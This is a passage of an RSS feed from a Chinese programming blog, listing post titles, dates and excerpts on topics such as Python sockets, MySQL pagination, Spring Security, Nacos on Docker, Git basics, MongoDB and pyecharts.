      <description>最简单的数据交互 import socket server = socket.socket() # 默认TCP协议 server.bind((&#39;127.0.0.1&#39;, 8080)) server.listen(5) while True: conn, addr = server.accept() data = conn.recv(1024) print(data) conn.send(b&#39;HTTP/1.1\r\n\r\nHello Web!&#39;) # HTTP协议 conn.close() # 运行程序，并在网页上输入：127.0.0.1:8080 即可获取服务端发来的数据——Hello Web! 服务端发送HTML import socket server = socket.socket() server.bind((&#39;127.0.0.1&#39;, 8080)) server.listen(5) while True: conn, addr = server.accept() data = conn.recv(1024) data = data.decode(&#39;utf-8&#39;) # 二进制数据转为字符串 conn.send(b&#39;HTTP/1.1\r\n\r\n&#39;) # TCP协议特性，可以粘包 current_path = data.split(&#39; &#39;)[1] if current_path == &#39;/apple&#39;: conn.send(b&#39;Apple is here!&#39;) elif current_path == &#39;/banana&#39;: conn.</description>
    </item>
    <item>
      <title>mysql分页为什么越来越慢</title>
      <link>https://bchobby.github.io/posts/f7f22030a961f7455afbd46732d3c968/</link>
      <pubDate>Wed, 26 Jul 2023 10:37:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7f22030a961f7455afbd46732d3c968/</guid>
      <description>MySQL性能优化-分页查询越来越慢</description>
    </item>
    <item>
      <title>Python基础知识-2</title>
      <link>https://bchobby.github.io/posts/90d3bccaf08186fb3fc29487d80ad13b/</link>
      <pubDate>Wed, 26 Jul 2023 10:01:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90d3bccaf08186fb3fc29487d80ad13b/</guid>
      <description>名片管理系统 def addHandler(): print(&#34;添加名片&#34;) def deleteHandler(): IsDelete = input(&#34;(づ￣3￣)づ╭❤～亲~您确定要删除名片吗？Yes/No&#34;).upper() if (IsDelete == &#39;YES&#39;): print(&#34;删除名片&#34;) else: print(&#34;删除失败&#34;) def editHandler(): print(&#34;修改名片&#34;) def queryHandler(): print(&#34;查询名片&#34;) def showHandler(): print(&#34;展示名片&#34;) def start(): operate = int(input(&#34;请输入要操作的数字&#34;)) while True: print(&#34;------------------------------\n名片管理系统v1.0\n1:添加名片\n2:删除名片\n3:修改名片\n4:查询名片\n5.显示名片&#34;) if (operate == 1): addHandler() break elif (operate == 2): deleteHandler() break elif (operate == 3): editHandler() break elif (operate == 4): queryHandler() break else: showHandler() break start() Socket UDP发送协议 import socket # 1.创建socketd,并连接 # AF_INET:表示这个socket是用来进行网络连接 # SOCK_DGRAM:表示连接是一个UDP连接 socketDemo = socket.</description>
    </item>
    <item>
      <title>mobaXterm配置windows环境变量</title>
      <link>https://bchobby.github.io/posts/24e13507db4b17bb9fd7363571cafeb1/</link>
      <pubDate>Wed, 26 Jul 2023 09:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24e13507db4b17bb9fd7363571cafeb1/</guid>
      <description>当使用mobaXterm打开一个本地的shell窗口的时候，执行一些已经在windows机器上配置好的命令时，提示找不到命令或者报错&#xA;针对这种场景，需要在settings的Terminal标签页下打开use windows path选项。之后重新开一个shell页面就可以正常使用已在windows环境中配置好的命令了</description>
    </item>
    <item>
      <title>easyexcel 将对应列的格式改为数字或者文本格式</title>
      <link>https://bchobby.github.io/posts/a283f37f1cba92351392ed80d208f0ce/</link>
      <pubDate>Wed, 26 Jul 2023 09:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a283f37f1cba92351392ed80d208f0ce/</guid>
      <description>1.在easyexcel 导出excel时 需要将某个列的格式指定，例如指定为数字格式&#xA;例如 需要把单元格格式设置为数值，并且保留小数点后三位，按道理来说应该是这样子设置&#xA;/** * test， 最终导出值 */ @ExcelProperty(value = &#34;test&#34;) @ColumnWidth(value = 10) @NumberFormat(&#34;0.000&#34;) private double test; 这时候导出会发现这是个自定义类型的单元格&#xA;这时候就需要这样子设置了, 在小数后面加下横杠和空格（不加空格的话是不生效的，还是默认的常规）&#xA;/** * test， 最终导出值 */ @ExcelProperty(value = &#34;test&#34;) @ColumnWidth(value = 10) //加下横线并且加多个空格 @NumberFormat(&#34;0.000_ &#34;) private double test; 同理，保留几位小数就在后面加0，不保留小数直接去掉小数点和后面的0&#xA;参考 大神博客</description>
    </item>
    <item>
      <title>Spring Security安全配置</title>
      <link>https://bchobby.github.io/posts/00657968dd47afda509db713222bba5f/</link>
      <pubDate>Tue, 25 Jul 2023 23:43:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00657968dd47afda509db713222bba5f/</guid>
      <description>使用Spring Boot与Spring MVC进行Web开发时，如果项目引入spring-boot- starter-security依赖启动器，MVC Security 安全管理功能就会自动生效，其默认的安全配置是在SecurityAutoConfiguration和UserDetailsServiceAutoConfiguration中实现的。其中，SecurityAutoConfiguration会导入并自动化配置SpringBootWebSecurityConfiguration用于启动Web安全管理，UserDetailsServiceAutoConfiguration则用于配置用户身份信息。&#xA;通过自定义WebSecurityConfigurerAdapter 类型的Bean组件，可以完全关闭Security 提供的Web应用默认安全配置，但是不会关闭UserDetailsService用户信息自动配置类。如果要关闭UserDetailsService默认用户信息配置，可以自定义UserDetailsService、AuthenticationProvider或AuthenticationManager类型的Bean组件。另外，可以通过自定义WebSecurityConfigurerAdapter类型的Bean组件覆盖默认访问规则。Spring Boot 提供了非常多方便的方法，可用于覆盖请求映射和静态资源的访问规则。&#xA;下面我们通过Spring Security API查看WebSecurityConfigurerAdapter的主要方法，具体所示：&#xA;configure(AuthenticationManagerBuilder auth)：定制用户认证管理器来实现用户认证&#xA;configure(HttpSecurity http)：定制基于HTTP请求的用户访问控制&#xA;从上面可以看到，WebSecurityConfigurerAdapter类中包含两个非常重要的配置方法，分别是configure(AuthenticationManagerBuilder auth)和configure(HttpSecurity http)。Configure(AuthenticationManagerBuilder auth)方法用于构建认证管理器，configure(HttpSecurity http)方法用于对基于HTTP的请求进行请求访问控制。&#xA;一、自定义用户认证：&#xA;通过自定义WebSecurityConfigurerAdapter类型的Bean组件，并重写configure(AuthenticationManagerBuilder auth)方法，可以自定义用户认证。针对自定义用户认证，Spring Security提供了多种自定义认证方式， 包括有: In-Memory Authentication (内存 身份认证)、JDBCAuthentication ( JDBC身份认证)、LDAP Authentication ( LDAP身份认证)、AuthenticationProvider (身份认证提供商)和UserDetailsService (身份详情服务)。 下面我们选取其中3个比较有代表性的方式讲解如何实现自定义用户认证。&#xA;二、自定义用户授权管理：&#xA;当一个系统建立之后，通常需要适当地做一些权限控制，使得不同用户具有不同的权限操作系统。例如，一般的项目中都会做一些简单的登录控制，只有特定用户才能登录访问。接下来我们针对Web应用中常见的自定义用户授权管理进行介绍。&#xA;自定义用户访问控制：&#xA;实际生产中，网站访问多是基于HTTP请求的，上面MVC Security 安全配置介绍时，我们已经分析出通过重写WebSecurityConfigurerAdapter类的configure(HttpSecurity http)方法可以对基于HTTP的请求访问进行控制。下面我们通过对configure(HttpSecurity http)方法剖析，分析自定义用户访问控制的实现过程。&#xA;configure(HttpSecurity http)方法的参数类型是HttpSecurity类，HttpSecurity类提供了Http请求的限制以及权限、Session 管理配置、CSRF跨站请求问题等方法，具体如下所示。&#xA;HttpSecurity 类的主要方法及说明：&#xA;authorizeRequests()：开启基于HtpSereleRequest请求访问的限制&#xA;formLogin()：开启基于表单的用户登录&#xA;httpBasic()：开启基于HTTP请求的Basic认证登录&#xA;logout()：开启退出登录的支持&#xA;sessionManagement()：开启Session管理配置&#xA;rememberMe()：开启记住我功能&#xA;csrf()：配置CSRF跨站请求伪造防护功能&#xA;此处重点讲解用户访问控制，这里先对authorizeRequests()方法的返回值做进一步查看，其中涉及用户访问控制的主要方法及说明如下所示。&#xA;antMatchers(java.lang.String .. antPatterns)：开启Ant风格的路径匹配&#xA;mvcMatchers(java.lang. String ... patterns)：开启MVC风格的路径匹配(与Ant风格类似)&#xA;regexMatchers(java.lang String.</description>
    </item>
    <item>
      <title>maven安装中[WARNING] Plugin validation issues were detected in plugin(s)</title>
      <link>https://bchobby.github.io/posts/873618bea60c2d511ab4661007e5b6bf/</link>
      <pubDate>Tue, 25 Jul 2023 23:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/873618bea60c2d511ab4661007e5b6bf/</guid>
      <description>打开一个新的maven项目，在Maven的生命周期中选择install,&#xA;虽然安装成功了但是出现警告：Plugin validation issues were detected in 7 plugin(s)&#xA;Plugin validation issues were detected in 7 plugin(s) 类似于：&#xA;[WARNING] Plugin validation issues were detected in 7 plugin(s) [WARNING] [WARNING] * org.apache.maven.plugins:maven-resources-plugin:3.2.0 [WARNING] * org.apache.maven.plugins:maven-jar-plugin:3.2.2 [WARNING] * org.jacoco:jacoco-maven-plugin:0.8.8 [WARNING] * org.apache.maven.plugins:maven-compiler-plugin:3.10.1 [WARNING] * org.codehaus.mojo:build-helper-maven-plugin:3.3.0 [WARNING] * org.apache.maven.plugins:maven-surefire-plugin:2.22.2 [WARNING] * com.mysema.maven:apt-maven-plugin:1.1.3 [WARNING] [WARNING] For more or less details, use &#39;maven.plugin.validation&#39; property with one of the values (case insensitive): [BRIEF, DEFAULT, VERBOSE] 网上查了好多，分析原因是这些列出来的依赖有可能会出现不生效的警告，具体的解决办法，一直没查到，于是我分析是不是Maven版本的问题。</description>
    </item>
    <item>
      <title>云服务器远程nacos服务注册失败/不健康Client not connected, current status:STARTING</title>
      <link>https://bchobby.github.io/posts/ede93a26217593f7bd04ac4e2a075933/</link>
      <pubDate>Tue, 25 Jul 2023 15:56:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ede93a26217593f7bd04ac4e2a075933/</guid>
      <description>文章目录 Nacos报错docker安装不用 docker安装 Nacos报错 docker安装 使用docker在云服务器安装Nacos之后出现Client not connected, current status:STARTING&#xA;使用docker 安装之后需要添加映射端口&#xA;docker run -e JAVA_OPTS=&#34;-Xms256m -Xmx256m&#34; -e MODE=standalone -e PREFER_HOST_MODE=hostname -p 8848:8848 -p 9848:9848 -p 9849:9849 --privileged=true -v /docker/nacos/conf:/home/nacos/conf -v /docker/nacos/logs:/home/nacos/logs --restart=always --name nacos -d nacos/nacos-server:2.0.2 使用docker 安装的nacos中需要添加3个端口为最优。&#xA;当nacos-client的版本小于服务器端的版本就只需要添加一个端口.&#xA;当nacos服务端升级至2.0以上后，多了grpc通信；&#xA;由于使用的是docker安装的nacos，只映射8848端口支撑不了grpc通信，可以降低客户端版本(使用1.x.x的nacos client)，或者添加上述两个端口9848和9849.&#xA;不用 docker安装 这个错误提示表明远程Nacos服务注册失败，原因可能是客户端未能成功连接Nacos服务器。当前状态为&#34;STARTING&#34;，表示正在启动中。&#xA;要解决这个问题，可以尝试以下几个步骤：&#xA;1、确保Nacos服务器正常运行：检查Nacos服务器是否已经正确启动，并且网络连接正常。&#xA;2、检查客户端配置：确保客户端的配置文件中，Nacos服务器的地址、端口号等信息正确配置。可以尝试重新设置这些配置项。&#xA;3、检查网络连接：确认客户端服务器与Nacos服务器之间的网络连接正常，可以尝试使用ping命令或telnet命令检查网络连接是否畅通。&#xA;4、检查防火墙设置：如果使用了防火墙，确保已经正确配置，允许客户端与Nacos服务器进行通信。&#xA;5、检查Nacos服务器日志：查看Nacos服务器的日志文件，检查是否有其他错误或异常信息，以便更好地定位问题。</description>
    </item>
    <item>
      <title>Git的快速入门（快速简单但超详细）</title>
      <link>https://bchobby.github.io/posts/330153cfd81499af15043aac8c0745f5/</link>
      <pubDate>Tue, 25 Jul 2023 15:00:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/330153cfd81499af15043aac8c0745f5/</guid>
      <description>目录&#xA;1.使用git代码进行提交远程仓库&#xA;2.IDEA集成使用远程仓库&#xA;Git的作用：版本控制&#xA;我们每一次提交一份（在原始代码的基础上）代码，称为一个版本。当我们想要回到某天所写的代码进行更新时，我们可以直接回到那个时候，那天的代码一行都不会多也不会少。正如你为女孩花不少心思，女孩的心却没有你的一丝痕迹，你在那天提交的版本，之后再重拾，它依旧和原来一样一丝不变。&#xA;OK！直接上操作，不说其他的废话，不讲原理，只讲最直接操作&#xA;1.使用git代码进行提交远程仓库 远程仓库咱们国内使用gitee，国外的使用GitHub，由于国内访问GitHub速度较慢，我们在此使用gitee演示，GitHub操作大差不差。&#xA;如果有小伙伴想要访问GitHub，可以私信我要VPN,使用VPN访问github速度就快的多了。&#xA;1.1先进入想要上传到远程仓库的本地文件夹中（根目录下），进入git 1.2输入git init ，创建本地仓库&#xA;git init 回车后文件夹下出现这个文件（是个隐藏文件，看不到的设置一下隐藏文件可见）&#xA;1.3输入git add . 添加所有文件至提交区域&#xA;git add . 输入git status&#xA;git status 可以看到很多绿色的文件，这就是文件添加至提交区了&#xA;1.4输入 git commit -m &#34;拼图游戏初始化代码&#34; （&#34;&#34;引号内的是提交代码的版本Meseage）&#xA;git commit -m &#34;拼图游戏初始化代码&#34; 出现很多白色文件说明提交成功到本地了&#xA;1.5添加远程仓库（先要创建远程仓库，这一步详解看2.8）&#xA;创建后复制仓库url&#xA;执行命令 不可以按ctrl+v，右键点击paste进行粘贴&#xA;git remote add origin &#34;url&#34; 添加远程仓库 1.6推送至远程仓库&#xA;输入命令&#xA;git push -u origin master 看到这样就成功推送啦！！&#xA;去gitee查看，已经成功推送至gitee了，成功！ 2.IDEA集成使用远程仓库 2.1在IDEA中点击这个版本控制按钮 2.2创建本地仓库&#xA;2.3直接选中根目录，OK&#xA;2.4点击OK后，页面变成这样，框住的地方就是快捷键，先点击✔（执行的是commit代码到本地）&#xA;2.5commit后Unversioned files打勾，在下面的commit Message中写版本信息，然后点击commit，如果有提示，继续点击commit即可&#xA;2.6找到push后点击&#xA;2.7这里要填的是我们远程仓库的url&#xA;2.8在gitee创建远程仓库</description>
    </item>
    <item>
      <title>Fiddler Everywhere(TTP调试抓包工具) for Mac苹果电脑版</title>
      <link>https://bchobby.github.io/posts/0332a741e01e1622bc605f85ba7b9fcb/</link>
      <pubDate>Tue, 25 Jul 2023 14:49:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0332a741e01e1622bc605f85ba7b9fcb/</guid>
      <description> Fiddler Everywhere for Mac版是Mac电脑上的一款跨平台的HTTP调试抓包工具，Fiddler Everywhere for Mac能够记录客户端与服务器之间的所有HTTP（S）通信，支持对包进行监视、分析、设置断点、甚至修改请求/响应数据等操作。&#xA;适用于任何浏览器、任何应用程序、任何进程的网络调试代理。感兴趣的朋友快来下载使用吧。&#xA;软件特色 Fiddler Mac版的可扩展性强，可以使用任何.net语言开发的强大扩展，并且可以共享抓取的HTTP包流量来与团队进行协作。&#xA;友善的用户界面，直观且简单的使用方法，提供Windows、MacOS、Linux等多个平台的客户端，跨平台无缝协作。记录客户端与服务器之间的所有HTTP（S）通信，支持对包进行监视、分析、设置断点、甚至修改请求/响应数据等操作&#xA;强大的可扩展性，能够使用任何.net语言开发的扩展。良好的团队协作性，可以共享抓取的HTTP包流量来与团队成员之间进行协作&#xA;Fiddler Everywhere Mac版安装教程&#xA;Fiddler Everywhere Mac下载完成后，双击.pkg文件根据安装器提示进行安装即可。 </description>
    </item>
    <item>
      <title>MongoDB 详解，超全！！！</title>
      <link>https://bchobby.github.io/posts/3f1020895f3bf389e632b10d3ed64001/</link>
      <pubDate>Tue, 25 Jul 2023 13:38:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f1020895f3bf389e632b10d3ed64001/</guid>
      <description>MongoDB 详解，超全！！！ 引言 MongoDB是一种非关系型数据库管理系统，被广泛应用于现代应用程序的数据存储和处理。它具有灵活的数据模型、强大的查询语言和高性能的数据读写能力。本篇博客将详细介绍MongoDB的各个方面，包括基本概念、数据模型、查询语言、索引优化、数据复制与故障恢复等内容。让我们深入了解MongoDB，并掌握如何使用MongoDB构建可靠、高效的应用程序。&#xA;目录 概述 什么是MongoDBMongoDB的特点和优势 安装与配置 下载和安装MongoDB配置MongoDB服务器 数据模型 文档导向的数据模型集合和数据库索引嵌入式文档和引用 查询语言 CRUD操作查询和筛选排序和限制聚合管道 索引优化 索引的作用和原理索引的创建和管理索引的选择和优化 数据复制与故障恢复 复制集的概念和配置主从复制和故障转移数据恢复和备份 性能调优 查询性能优化索引性能优化数据模型设计与性能 安全性 访问控制与认证数据加密与传输安全安全审计与日志 最佳实践和案例分析 MongoDB在实际项目中的应用最佳实践和经验总结 结语 第一章 概述 什么是MongoDB MongoDB是一个开源的文档型数据库管理系统，采用BSON（Binary JSON）格式存储数据。它使用灵活的文档模型代替传统的表格模型，可以方便地存储和查询半结构化的数据。MongoDB的设计目标是轻松扩展和高性能，适用于需要处理大量数据和高并发请求的场景。&#xA;MongoDB的特点和优势 灵活的数据模型：MongoDB不需要事先定义表格结构，可以存储各种类型的数据，支持嵌入式文档和引用两种数据关联方式。强大的查询语言：MongoDB提供丰富的查询操作符和聚合管道功能，支持复杂的查询和分析需求。高性能的数据读写：MongoDB使用内存映射文件和预分配空间等技术优化数据读写性能，支持快速的插入、更新和查询操作。可扩展的存储和计算能力：MongoDB支持水平扩展和自动分片，可以方便地增加服务器和处理大规模数据。丰富的工具和生态系统：MongoDB提供了命令行工具和图形界面管理工具，还有众多的第三方库和框架支持。 第二章 安装与配置 下载和安装MongoDB 首先，我们需要从MongoDB官方网站下载适合自己操作系统的安装包。然后按照安装向导进行安装，过程比较简单。安装完成后，我们需要将MongoDB的可执行文件路径添加到系统环境变量中，以便可以在任意位置运行MongoDB命令。&#xA;配置MongoDB服务器 在安装完成后，我们需要进行一些基本的配置以确保MongoDB服务器的正常运行。主要包括以下几个方面：&#xA;数据存储路径：指定数据库文件的存储路径，建议选择一个空闲磁盘分区，并且具有足够的存储空间。监听地址和端口：指定MongoDB服务器监听的网络地址和端口，默认为127.0.0.1:27017，可以根据实际需求进行调整。认证设置：MongoDB支持对客户端连接进行身份认证，可以创建用户并分配权限，以确保数据的安全性。日志配置：可以指定日志文件的路径和级别，以便跟踪服务器的运行状态和故障排查。其他配置项：还有一些其他的配置项，如复制集、分片等高级配置，根据需要进行设置。 第三章 数据模型 文档导向的数据模型 MongoDB使用文档导向的数据模型来存储数据。文档是一个键值对的集合，类似于关系型数据库中的行，但是更为灵活。文档可以包含嵌入式文档、数组和其他复杂类型，可以根据需要自由地添加、修改和删除字段。&#xA;集合和数据库 MongoDB中的数据组织在集合（Collection）中，集合类似于关系型数据库中的表。一个集合可以包含多个文档，每个文档可以拥有不同的结构和字段。集合之间没有直接的关系，可以根据实际需求自由地创建和管理。&#xA;一个MongoDB服务器可以包含多个数据库，每个数据库独立存储数据。数据库是逻辑上的容器，可以将相关的集合组织在一起。每个数据库在服务器上有唯一的名称，在使用之前需要先创建。&#xA;索引 索引在MongoDB中起到加速查询的作用。通过索引，可以快速定位到符合特定条件的文档，提高查询效率。MongoDB支持多种类型的索引，包括单键索引、复合索引、全文索引等。&#xA;嵌入式文档和引用 MongoDB支持两种数据关联方式：嵌入式文档和引用。嵌入式文档是将一个文档嵌入到另一个文档中，形成文档的嵌套结构。引用是通过存储文档间的关联关系来实现数据关联。根据实际需求选择合适的数据关联方式。&#xA;第四章 查询语言 CRUD操作 在MongoDB中，CRUD操作（创建、读取、更新、删除）非常简单和直观。以下是一些常用的CRUD操作命令和示例：&#xA;创建文档：db.collection.insertOne()、db.collection.insertMany()读取文档：db.collection.find()、db.collection.findOne()更新文档：db.collection.updateOne()、db.collection.updateMany()删除文档：db.collection.deleteOne()、db.collection.deleteMany() 查询和筛选 MongoDB提供了丰富的查询操作符，可以用于指定查询条件和筛选结果。常用的查询操作符包括比较操作符（ e q 、 eq、 eq、ne、 g t 、 gt、 gt、lt等）、逻辑操作符（ a n d 、 and、 and、or、 n o t 等）和正则表达式操作符（ not等）和正则表达式操作符（ not等）和正则表达式操作符（regex）等。</description>
    </item>
    <item>
      <title>软件设计师中级王勇老师课程笔记-1计算机组成与体系结构</title>
      <link>https://bchobby.github.io/posts/760f967f55e6ea7c05e54d71904e65e8/</link>
      <pubDate>Tue, 25 Jul 2023 11:29:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/760f967f55e6ea7c05e54d71904e65e8/</guid>
      <description>根据软考-软件设计师中级考试王勇老师课程做的手写笔记，包含12个章节，计算机组成与体系结构、操作系统、数据库系统、计算机网络、数据结构与算法基础、程序设计语言与语言处理基础、法律法规、软件工程、面向对象、数据库和数据流图、UML、数据结构与算法应用、面向对象程序设计等内容，个人认为本笔记可以用来过一遍基础知识，王勇老师讲的一些技巧还是比较实用的，有问题欢迎指正！&#xA;欢迎大家下载呀！</description>
    </item>
    <item>
      <title>蜣螂优化(DBO)算法(含MATLAB代码)</title>
      <link>https://bchobby.github.io/posts/10f3a0fca79f203a2e691719a4de29cf/</link>
      <pubDate>Tue, 25 Jul 2023 10:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f3a0fca79f203a2e691719a4de29cf/</guid>
      <description>先做一个声明：文章是由我的个人公众号中的推送直接复制粘贴而来，因此对智能优化算法感兴趣的朋友，可关注我的个人公众号：启发式算法讨论。我会不定期在公众号里分享不同的智能优化算法，经典的，或者是近几年提出的新型智能优化算法，并附MATLAB代码。&#xA;蜣螂优化(DBO)算法： “今天介绍的这个算法，应该是目前最新的一个群智能优化算法。实际上，一个周以前我就看到了，但是没有去深入了解和学习。昨天对它的原始参考文献进行了仔细阅读，并编码实现了这个算法，应该说，这个算法的收敛性能还是非常优越的！&#xA;这里再啰嗦一句，蜣螂，就是屎壳郎！翻译成蜣螂优化，会显得高大尚些，档次一下就有了，要是来个屎壳郎算法，就太不文雅了……”&#xA;蜣螂优化(Dung Beetle Optimizer, DBO)算法是2022年11月27日提出的，大家可以算算到今天才提出多久。它是由东华大学的沈波教授团队提出的一种全新的群智能优化算法。或许大家对这个团队不是很了解，但相信大家对麻雀搜索算法(Sparrow Search Algorithm, SSA)一定不陌生。著名的SSA就是由这个团队提出，感兴趣的同学可以进一步跟踪一下。&#xA;DBO算法的原始参考文献如下：&#xA;“Xue J, Shen B. Dung beetle optimizer: a new meta-heuristic algorithm for global optimization[J]. The Journal of Supercomputing, 2022: 1-32.”&#xA;01 灵感来源 蜣螂是自然界常见的昆虫，以动物的粪便为食。学过生物的同学都知道，它们在自然界中扮演着分解者的角色，这意味着它们在生态系统中至关重要。蜣螂有一个有趣的习惯，就是把粪便打成球状，然后滚出来，如图1所示。&#xA;​&#xA;图1 蜣螂的滚球行为&#xA;一方面，蜣螂会尽可能快速地移动它们的粪球，这样可防止被其他蜣螂竞争；另一方面，蜣螂会利用天体线索(特别是太阳、月亮和偏振光)来导航，使粪球沿直线滚动。然而，如果没有了光源(即完全黑暗)，蜣螂的路径就不再是直线，而是弯曲的，有时甚至略圆。一些自然因素(如风和不平整的地面)也会导致蜣螂偏离原来的方向。此外，蜣螂在滚动粪球时很可能遇到障碍物，无法前进。此时，蜣螂会爬到粪球上跳舞(包括一系列的旋转和停顿)，这也决定了它们新的运动方向。(这里我想好奇地问一下，你能想象一个东西站在粑粑上跳舞的画面吗)&#xA;蜣螂收获的粪球主要有两个目的:1) 一些粪球用来产卵和养育下一代；2) 其余的用作食物。具体来说，蜣螂把粪球埋起来，雌性蜣螂在这些粪球里产卵。粪球不仅是幼虫的发育场所，还为幼虫提供了生活所必需的食物。&#xA;另外，一些蜣螂会从其他蜣螂那里掠夺粪球，作者将它们称作小偷，如图2所示，这也是自然界中很常见的现象。&#xA;​&#xA;图2 蜣螂中的小偷掠夺粪球&#xA;基于蜣螂的这些行为，作者提出了DBO算法，主要灵感就来自于蜣螂的滚球、跳舞、觅食、偷窃和繁殖行为。准确来说，应该叫蜣螂优化器。&#xA;02 算法设计 如上所述，作者对蜣螂的滚球、跳舞、觅食、偷窃和繁殖行为进行数学建模。DBO算法主要包括四个过程：滚球、繁殖、觅食和偷窃。与前几期推送一样，目前我还不会在公众号里编辑数学公式。因此，这部分内容在Word文档里先写好，然后做成图片，最后导入。&#xA;​&#xA;​&#xA;​&#xA;​&#xA;由此，作者便提出了基于蜣螂滚球、跳舞、觅食、偷窃和繁殖行为的DBO算法。简单地说，DBO算法也是基于子种群的，每个子种群执行不同的搜索方式。与蛇优化(SO)和蜉蝣算法(MA)不同的是，DBO算法不是基于双种群的，而是基于多个子种群，作者划分了四个子种群。&#xA;03 计算流程 由于DBO算法将种群中的蜣螂划分成了四种不同的角色，因此它的计算流程会相对复杂一些，需要执行滚球、繁殖、觅食和偷窃四种算子。这里我用伪代码给出了它的计算流程，如图7所示。&#xA;​&#xA;图7 DBO算法计算流程&#xA;04 实验仿真 DBO算法到今天才提出两周不到，因此我非常好奇它的性能。这里对DBO算法的收敛性能进行了简单的测试。在编码中，所有参数按照它原始文献的取值进行设置，种群规模N为30，最大迭代次数T也与原文一致，等于500，问题维度D我选取的30。&#xA;这里以多峰函数Ackley、Levy和单峰函数Zakharov为例，展示DBO算法在30维环境下的收敛效果，如图8所示。这里就不再进一步做分析了。&#xA;​&#xA;(a) Ackley&#xA;​</description>
    </item>
    <item>
      <title>SQL数据分析——笔记系列【上篇】</title>
      <link>https://bchobby.github.io/posts/79130821c13147d59540b58663a417e2/</link>
      <pubDate>Tue, 25 Jul 2023 01:19:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79130821c13147d59540b58663a417e2/</guid>
      <description>一.数据分析基础 数据分析：利用合适的工具，在统计学理论的支撑下，对数据进行一定程度的预处理，然后结合具体业务分析数据，帮助公司相关部门监控、定位、分析、解决问题，从而提高业务部门的决策能力和经营效率，发现业务机会，让企业取得持续竞争优势。&#xA;数据分析三大作用：现状分析、原因分析、预测分析。&#xA;数据分析分析内容层面：&#xA;1.总体概览指标（日销售额、日订单量、购买人数……）；&#xA;2.对比性指标（同比、环比、差指标）;&#xA;3.集中趋势指标（平均数、众数、中位数）；&#xA;4.离散程度指标（全距(极差)、方差、标准差）；&#xA;5.相关性指标（相关系数r，范围[-1,1]，正相关/负相关）；&#xA;6.因果关系&#xA;数据分析一般流程：&#xA;1.熟悉工具；2.明确目的；3.获取数据；4.熟悉数据；5.处理数据；&#xA;6.分析数据；7.得出结论；8.验证结论；9.展现结论&#xA;二.数据库基础 数据库：用来存储数据的仓库，用户可以对存放在这个仓库中的数据进行新增、查询、更新、删除等操作。&#xA;数据库管理系统（DBMS）：对数据库进行管理的一个系统，这个系统负责建立、使用和维护数据库，对数据库进行统一的管理和控制，以保证数据库的安全性和完整性。&#xA;结构化数据：有行有列的二维数据。——&amp;gt;【关系型数据库】&#xA;非结构化数据：不适合用行和列的形式来存储的数据（Word文档、HTML文档、图片等）。——&amp;gt;【非关系型数据库】&#xA;SQL: Structured Query Language，结构化查询语言。&#xA;SQL包括：&#xA;1.DDL（数据定义）：create、drop、alter，主要作用于数据库、表、视图、索引。&#xA;2.DML（数据操纵）：select、insert、update、delete，主要作用于表。&#xA;3.DCL（数据控制）：grant、revoke，主要作用于表、列。&#xA;SQL查询处理步骤&#xA;1.查询分析：扫描全部SQL语句，进行词法和语法分析，判断查询语句是否符合SQL语法规则；&#xA;2.查询检查：进行语义检查，根据数据字典判断查询语句中涉及的数据库、数据表、列等信息是否存在；&#xA;3.查询优化：根据具体情况选择一个效率最高的执行策略；&#xA;4.查询执行：执行查询语句，返回查询结果。&#xA;主流数据库：&#xA;Mysql，受欢迎，比较主流，已被Oracle收购；&#xA;SQL Server，微软开发，与自己的产品交互比较好；&#xA;Oracle，甲骨文，数据库领域引领者；&#xA;DB2，IBM开发，主要目标用户是企业；&#xA;Hive SQL，大公司比较常见，Hive是基于Hadoop构建的一套数据仓库分析系统，与Mysql的语法基本一致。Hadoop是一种分布式处理架构，可大幅提高程序运行效率。&#xA;三.数据库工具准备 Mysql官网：www.mysql.com&#xA;DBeaver:一款免费的、开源的，开发人员和数据管理员通用的数据库管理工具。&#xA;DBeaver官网：DBeaver Community | Free Universal Database Tool&#xA;四.数据源 常规数据源：外部数据、公司现有数据、新建数据。&#xA;熟悉数据：&#xA;1.数据库是什么数据库；&#xA;2.数据库包含哪些表；&#xA;3.各表存储了什么信息，表中每列分别代表什么。&#xA;Mysql附属数据库information_schema：&#xA;show databases;&#xA;use information_schema;&#xA;show tables;&#xA;select * from information_schema.SCHEMATA;--查询Mysql中所有与库有关的信息&#xA;select * from information_schema.</description>
    </item>
    <item>
      <title>【Python】pyecharts 模块 ⑦ ( 绘制时间线柱状图 | 时间线 Timeline 简介 | 时间线 Timeline 柱状图开发要点 | 播放设置 | 主题设置 | 代码示例 )</title>
      <link>https://bchobby.github.io/posts/0c71bb72af9468659741fe1a594f1c90/</link>
      <pubDate>Mon, 24 Jul 2023 23:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c71bb72af9468659741fe1a594f1c90/</guid>
      <description>文章目录 一、pyecharts 绘制时间线柱状图1、时间线 Timeline 简介2、时间线 Timeline 柱状图开发要点3、代码示例 - 时间线 Timeline 柱状图 二、pyecharts 绘制时间线柱状图其它设置1、时间线 Timeline 播放设置2、时间线 Timeline 主题设置3、代码示例 - 时间线特殊设置 pyecharts 画廊网站 : https://gallery.pyecharts.org/#/&#xA;在该网站可查看官方示例 一、pyecharts 绘制时间线柱状图 1、时间线 Timeline 简介 pyecharts 时间线柱状图 中的 时间线 , 就是与 x 轴平行的一个 时间轴 ;&#xA;时间线 的类是 Timeline , 定义在 pyecharts.charts 模块中 ;&#xA;在 时间线 上的每个点 , 都代表一个时间点 ,&#xA;为 时间线 上的 每个 时间点 都提供一个柱状图 ,&#xA;当 时间线 开始播放时 , 随着时间线向前推进 , 推进到不同点 , 就会显示该点对应的 柱状图 ;</description>
    </item>
    <item>
      <title>Halcon初步学习二</title>
      <link>https://bchobby.github.io/posts/e1aa50f72920e27e16ce274e9e0b7aa7/</link>
      <pubDate>Mon, 24 Jul 2023 22:18:20 +0800</pubDate>
